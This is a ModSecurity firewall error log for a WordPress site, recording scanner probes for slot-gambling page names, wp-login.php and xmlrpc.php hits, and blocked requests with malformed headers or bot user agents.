[Wed May 06 04:50:31.431970 2026] [:error] [pid 48757:tid 48785] [client 95.91.110.210:2930] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "afpYF0AivC3C614LoA5eYgAAABM"]
[Wed May 06 04:50:33.838327 2026] [:error] [pid 48867:tid 48881] [client 95.91.110.210:2944] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afpYGVZQ-8ZcCbMZPy73AAAAAMs"]
[Wed May 06 04:50:36.274256 2026] [:error] [pid 48758:tid 48799] [client 95.91.110.210:2062] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "afpYHDENoN-kMgC5tXgR2AAAAEQ"]
[Wed May 06 04:50:38.804883 2026] [:error] [pid 48867:tid 48894] [client 95.91.110.210:2068] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "afpYHlZQ-8ZcCbMZPy73EgAAANg"]
[Wed May 06 06:13:27.361032 2026] [:error] [pid 33660:tid 33666] [client 157.66.27.30:50674] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.66.27.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afprh_6jj6Ce_ERq7qN0cAAAAQQ"]
[Wed May 06 08:08:40.161965 2026] [:error] [pid 13414:tid 13419] [client 123.30.233.48:57074] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 123.30.233.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afqGiEuJQpWjVpJTu_nS1wAAAQM"]
[Wed May 06 08:13:25.814199 2026] [:error] [pid 9789:tid 9809] [client 216.55.185.47:49458] [client 216.55.185.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.55.185.47, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afqHpT_YStPJSCHPkUUAZgAAAFI"]
[Wed May 06 08:40:26.902077 2026] [:error] [pid 9664:tid 9780] [client 114.119.145.22:29883] [client 114.119.145.22] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afqN-gH4OZbrg1SjsBPFywAAAJI"]
[Wed May 06 08:41:56.366993 2026] [:error] [pid 9664:tid 9769] [client 114.119.143.152:56495] [client 114.119.143.152] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afqOVAH4OZbrg1SjsBPGDwAAAIc"], referer: http://vetstars.com.au/
[Wed May 06 08:43:32.729519 2026] [:error] [pid 13414:tid 13427] [client 114.119.143.210:26225] [client 114.119.143.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afqOtEuJQpWjVpJTu_nYVgAAAQs"], referer: http://vetstars.com.au/
[Wed May 06 09:40:00.837465 2026] [:error] [pid 13443:tid 13459] [client 91.98.158.245:34818] [client 91.98.158.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.98.158.245, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afqb8ACyfZallDmsQrdqHAAAAU4"]
[Wed May 06 09:53:15.652685 2026] [:error] [pid 9664:tid 9783] [client 104.248.65.197:48710] [client 104.248.65.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.65.197, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afqfCwH4OZbrg1SjsBPjPwAAAJU"]
[Wed May 06 10:07:26.354030 2026] [:error] [pid 13443:tid 13455] [client 195.250.23.93:49360] [client 195.250.23.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.250.23.93, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afqiXgCyfZallDmsQrducQAAAUo"]
[Wed May 06 10:09:29.521161 2026] [:error] [pid 9789:tid 9812] [client 59.125.102.142:56882] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afqi2T_YStPJSCHPkUUhbwAAAFU"]
[Wed May 06 10:13:54.847378 2026] [:error] [pid 9789:tid 9805] [client 138.197.151.112:63134] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afqj4j_YStPJSCHPkUUiBwAAAE4"]
[Wed May 06 10:13:56.775319 2026] [:error] [pid 13414:tid 13416] [client 138.197.151.112:59361] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afqj5EuJQpWjVpJTu_nmpgAAAQA"]
[Wed May 06 11:04:32.499152 2026] [:error] [pid 482:tid 507] [client 138.197.151.112:54049] [client 138.197.151.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.151.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afqvwMxs8HOc_nWgOW69mAAAAdU"]
[Wed May 06 12:25:55.490382 2026] [:error] [pid 63810:tid 63831] [client 213.35.119.176:60510] [client 213.35.119.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afrC03pnbsN9Zf6i5IEdNAAAAZE"]
[Wed May 06 12:25:55.943450 2026] [:error] [pid 9789:tid 9802] [client 213.35.119.176:64100] [client 213.35.119.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.35.119.176, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afrC0z_YStPJSCHPkUU8GQAAAEs"]
[Wed May 06 14:04:11.368950 2026] [:error] [pid 482:tid 503] [client 216.73.162.27:21621] [client 216.73.162.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.162.27, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afrZ28xs8HOc_nWgOW74tAAAAdM"], referer: https://vetstars.com.au/
[Wed May 06 14:55:48.787314 2026] [:error] [pid 63810:tid 63826] [client 43.159.128.237:47162] [client 43.159.128.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afrl9HpnbsN9Zf6i5IEmKgAAAYw"]
[Wed May 06 19:04:15.003790 2026] [:error] [pid 13443:tid 13448] [client 45.82.122.124:18902] [client 45.82.122.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.82.122.124, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afsgLwCyfZallDmsQreUBgAAAUM"]
[Wed May 06 20:15:15.451542 2026] [:error] [pid 63810:tid 63832] [client 52.159.226.3:47692] [client 52.159.226.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.159.226.3, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/wp/xmlrpc.php"] [unique_id "afsw03pnbsN9Zf6i5IE35wAAAZI"]
[Wed May 06 20:28:02.458925 2026] [:error] [pid 13414:tid 13426] [client 5.189.168.141:50382] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.168.141, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afsz0kuJQpWjVpJTu_kdWAAAAQo"]
[Wed May 06 21:20:05.124542 2026] [:error] [pid 9789:tid 9810] [client 147.135.213.218:56902] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aftABT_YStPJSCHPkUWZiwAAAFM"]
[Wed May 06 21:20:07.711420 2026] [:error] [pid 9659:tid 9741] [client 147.135.213.218:60272] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aftAB_wJnWjd8JHpBtuVYwAAAMc"]
[Wed May 06 21:20:10.396340 2026] [:error] [pid 482:tid 490] [client 147.135.213.218:60278] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aftACsxs8HOc_nWgOW5XiQAAAcY"]
[Wed May 06 21:20:13.126654 2026] [:error] [pid 13443:tid 13464] [client 147.135.213.218:50792] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aftADQCyfZallDmsQrec4AAAAVM"]
[Wed May 06 21:20:16.210073 2026] [:error] [pid 9659:tid 9757] [client 147.135.213.218:50802] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aftAEPwJnWjd8JHpBtuVagAAANc"]
[Wed May 06 21:20:19.665420 2026] [:error] [pid 9653:tid 9700] [client 147.135.213.218:50804] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aftAE6hJ49Xc4dqq0B4VmQAAAAI"]
[Wed May 06 21:20:22.620647 2026] [:error] [pid 63810:tid 63831] [client 147.135.213.218:50808] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aftAFnpnbsN9Zf6i5IE9NQAAAZE"]
[Wed May 06 21:20:25.043843 2026] [:error] [pid 9659:tid 9756] [client 147.135.213.218:39602] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aftAGfwJnWjd8JHpBtuVcwAAANY"]
[Wed May 06 21:20:27.603375 2026] [:error] [pid 9659:tid 9750] [client 147.135.213.218:39606] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aftAG_wJnWjd8JHpBtuVeAAAANA"]
[Wed May 06 21:20:30.781095 2026] [:error] [pid 9789:tid 9803] [client 147.135.213.218:39614] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aftAHj_YStPJSCHPkUWZoQAAAEw"]
[Wed May 06 21:20:33.272512 2026] [:error] [pid 63810:tid 63830] [client 147.135.213.218:47996] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aftAIXpnbsN9Zf6i5IE9QgAAAZA"]
[Wed May 06 21:20:35.669105 2026] [:error] [pid 63810:tid 63832] [client 147.135.213.218:48000] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aftAI3pnbsN9Zf6i5IE9SgAAAZI"]
[Wed May 06 21:20:38.279111 2026] [:error] [pid 9789:tid 9794] [client 147.135.213.218:48004] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aftAJj_YStPJSCHPkUWZrgAAAEM"]
[Wed May 06 21:20:40.756324 2026] [:error] [pid 557:tid 562] [client 147.135.213.218:48016] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aftAKDZjFR8Vd8ce80AwWQAAAkM"]
[Wed May 06 21:20:43.430506 2026] [:error] [pid 13414:tid 13433] [client 147.135.213.218:38582] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aftAK0uJQpWjVpJTu_kh7gAAARE"]
[Wed May 06 21:20:45.925631 2026] [:error] [pid 13414:tid 13427] [client 147.135.213.218:38590] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aftALUuJQpWjVpJTu_kh8QAAAQs"]
[Wed May 06 21:20:48.284616 2026] [:error] [pid 482:tid 509] [client 147.135.213.218:38602] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aftAMMxs8HOc_nWgOW5XowAAAdc"]
[Wed May 06 21:20:51.462596 2026] [:error] [pid 13414:tid 13437] [client 147.135.213.218:38612] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aftAM0uJQpWjVpJTu_kh9AAAARU"]
[Wed May 06 21:20:54.565081 2026] [:error] [pid 9664:tid 9769] [client 147.135.213.218:54418] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aftANgH4OZbrg1SjsBNLHwAAAIc"]
[Wed May 06 21:20:57.341344 2026] [:error] [pid 9789:tid 9804] [client 147.135.213.218:54422] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aftAOT_YStPJSCHPkUWZxQAAAE0"]
[Wed May 06 21:20:59.847350 2026] [:error] [pid 13443:tid 13456] [client 147.135.213.218:54430] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aftAOwCyfZallDmsQredBgAAAUs"]
[Wed May 06 21:21:37.828342 2026] [:error] [pid 9653:tid 9710] [client 147.135.213.218:54446] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aftAYahJ49Xc4dqq0B4V-AAAAAw"]
[Wed May 06 21:21:40.622925 2026] [:error] [pid 9659:tid 9741] [client 147.135.213.218:56728] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aftAZPwJnWjd8JHpBtuVngAAAMc"]
[Wed May 06 21:21:43.340893 2026] [:error] [pid 482:tid 495] [client 147.135.213.218:35334] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aftAZ8xs8HOc_nWgOW5YKwAAAcs"]
[Wed May 06 21:21:46.364468 2026] [:error] [pid 557:tid 577] [client 147.135.213.218:35340] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aftAajZjFR8Vd8ce80AwcAAAAlI"]
[Wed May 06 21:21:48.941696 2026] [:error] [pid 9659:tid 9751] [client 147.135.213.218:35350] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aftAbPwJnWjd8JHpBtuVpgAAANE"]
[Wed May 06 21:21:51.500786 2026] [:error] [pid 592:tid 620] [client 147.135.213.218:35352] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aftAb5iX28mb6xLi2PywpwAAApU"]
[Wed May 06 21:21:53.946371 2026] [:error] [pid 482:tid 487] [client 147.135.213.218:60380] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aftAccxs8HOc_nWgOW5YOgAAAcM"]
[Wed May 06 21:21:56.578491 2026] [:error] [pid 9653:tid 9709] [client 147.135.213.218:60382] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aftAdKhJ49Xc4dqq0B4WIwAAAAs"]
[Wed May 06 21:21:59.806207 2026] [:error] [pid 482:tid 487] [client 147.135.213.218:60384] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aftAd8xs8HOc_nWgOW5YSQAAAcM"]
[Wed May 06 21:22:02.403998 2026] [:error] [pid 9659:tid 9739] [client 147.135.213.218:60392] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aftAevwJnWjd8JHpBtuVvAAAAMU"]
